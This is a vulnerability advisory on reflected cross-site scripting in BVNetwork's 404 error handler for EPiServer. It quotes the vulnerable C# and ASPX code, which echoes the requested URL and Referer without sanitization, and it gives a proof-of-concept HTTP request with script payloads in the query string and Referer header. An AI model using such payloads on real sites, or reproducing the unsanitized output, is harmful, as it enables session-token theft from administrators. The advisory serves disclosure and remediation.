Reflected Cross-Site Scripting in BVNetwork's 404 error handler

Abstract

Multiple cross site scripting vectors were found in BVNetwork's 404handler. BVNetwork is a 404-error handler page designed for and recommended by EPiServer framework. EPiServer framework is designed to be used as an ecommerce and digital marketing CMS. This product according to EPI’s nugget server has over 35k downloads: BV Network 404 handler on nuget.episerver.com This vulnerability allows an attacker to perform a wide variety of actions, such as stealing Administrators' session tokens, or performing arbitrary actions on their behalf.

Tested versions

This issue was successfully tested on version 404handler 10.1.0

Fix

This issue was fixed in commits 02419c904db096a607ba6775b04db7fdf042002a and 7127bb66eab564582ecf59c7f49ed8453eff792d

Introduction

BNetwork's 404 error handler page echo back any URL requested and any referer passed to it without sanitizing the input. This allows an attacker to request an URL that contains script to be echoed back into the HTML and execute script. The vulnerability allows an attacker to perform a wide variety of actions, such as stealing Administrators' session tokens, or performing arbitrary actions on their behalf.

Details

This issue exists in in the files NotFoundPageUtil.cs and NotFound.aspx. The NotFoundPageUtil.cs will set the UrlNotFound and Referer variables for the NotFound.aspx file. Code snipit from NotFoundPageUtil.cs setting UrlNotFound and Referer.

/// <summary>
/// Gets the URL that was not found.
/// </summary>
/// <param name="request">The request.</param>
/// <returns></returns>
public static string GetUrlNotFound(HttpRequestBase request)
{
	string urlNotFound = null;
	string query = request.ServerVariables["QUERY_STRING"];
	if ((query != null) && query.StartsWith("4"))
	{
		string url = query.Split(';')[1];
		urlNotFound = HttpUtility.UrlDecode(url);
	}
	if (urlNotFound == null)
	{
		if (query.StartsWith("aspxerrorpath="))
		{
			string[] parts = query.Split('=');
			urlNotFound = request.Url.GetLeftPart(UriPartial.Authority) + HttpUtility.UrlDecode(parts[1]);
		}
	}
return urlNotFound;
}
/// <summary>
/// The refering url
/// </summary>
public static string GetReferer(HttpRequestBase request)
{
	string referer = request.ServerVariables["HTTP_REFERER"];
	if (referer != null)
	{
		// Strip away host name in front, if local redirect
		string hostUrl = SiteDefinition.Current.SiteUrl.ToString();
		if (referer.StartsWith(hostUrl))
			referer = referer.Remove(0, hostUrl.Length);
	}
	else
		referer = ""; // Can't have null
	return referer;
}

Code snippet from NotFound.aspx using the variables set above, with no sanitization before output.

<div class="notfoundbox">
	<%= UrlNotFound %>
	<%= Referer.Length > 0 ? Content.CameFrom : "" %>
	<%= Referer.Length > 0 ? Referer : "" %>
</div>

This allows us to send the following request:

GET /foo?q=foo%3Cscript%3Ealert(%27xss%27)%3C%2fscript%3E HTTP/1.1
Host: www.example.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Referer: https://securify.nl/foo/bar<script>alert(1)</script>
Connection: close
Upgrade-Insecure-Requests: 1

Below is a screenshot of the XSS in action:

Vragen of feedback?